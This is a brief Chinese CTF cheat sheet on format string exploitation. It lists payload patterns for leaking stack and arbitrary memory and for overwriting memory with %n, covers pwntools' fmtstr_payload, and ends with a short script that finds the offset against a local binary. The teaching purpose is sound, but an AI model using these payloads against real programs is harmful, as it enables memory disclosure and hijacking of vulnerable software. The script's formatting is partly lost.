本文章适合写题时帮助快速回忆,不适合初学者
泄露数据
泄露栈上数据
直接用下面这种形式,n代表想要泄露的地址是printf的第几个参数。$后面代表输出的格式。
%n$x
泄露任意地址数据
64位的程序,printf的前六个参数是寄存器,第七个参数是下图中框起来的位置
那么由于我们可以控制该格式化字符串,我们首先要弄清楚格式化字符串是第几个参数。可以先用输入%p%p%p的方法。
由于地址中末尾肯定是有0,所以下面这种写法是不可取的(也就是ctfwiki上的写法)。因为解析到\x00,程序就会以为字符串结尾了,就不会向下解析了。
addr%k$s
比如如果格式化字符串是第八个参数,那么我们应该这么写:
%9$saaaa+p64(addr) //四个a是用来占位的,让addr成为第九个参数
任意地址写
覆盖内存用到的是这个:
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
覆盖栈内存
要确定要覆盖的地址,并且这种方法只适合要修改成比较小的数字才管用。
.......addr%k$n
覆盖任意地址内存
直接用pwntools提供的fmstr_payload工具
fmtstr_payload(格式化字符串的偏移, {要覆盖的地址: 覆盖成的值})
pwnlib.fmtstr模块
#用FmtStr类获取`格式化字符串`在printf函数中的参数位置(偏移)
测试函数,用来获取`格式字符串`在printf函数里参数的顺序
'''
def exec_fmt(payload):
p = process("./overflow")
p.recvuntil('\n',drop=True)
p.sendline(payload)
return p.recv()
if __name__ == '__main__':
print("准备泄漏出(格式化字符串)在printf函数参数中的位置:")
auto_fmtstr = FmtStr(exec_fmt)
print("(格式化字符串)在printf函数中参数的位置是:{0}".format(auto_fmtstr.offset)